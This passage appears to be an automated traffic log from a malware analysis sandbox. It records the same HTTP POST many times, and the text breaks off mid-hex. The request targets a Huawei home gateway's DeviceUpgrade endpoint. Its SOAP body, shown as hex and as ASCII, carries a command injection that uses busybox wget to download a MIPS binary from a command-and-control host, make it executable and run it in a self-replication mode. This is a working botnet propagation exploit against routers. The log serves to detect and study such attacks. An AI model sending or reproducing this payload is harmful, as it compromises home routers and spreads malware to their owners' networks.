75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 63 6e 63 2e 6d 61 6d 6d 61 2e 73 75 20 2d 6c 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 2d 72 20 2f 6e 75 6c 6c 6e 65 74 5f 62 69 6e 5f 64 69 72 2f 6e 75 6c 6c 6e 65 74 5f 6c 6f 61 64 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 3b 20 2f 74 6d 70 2f 2e 6e 75 6c 6c 6e 65 74 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g cnc.mamma.su -l /tmp/.nullnet -r /nullnet_bin_dir/nullnet_load.mips; /bin/busybox chmod 777 * /tmp/.nullnet; /tmp/.nullnet huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 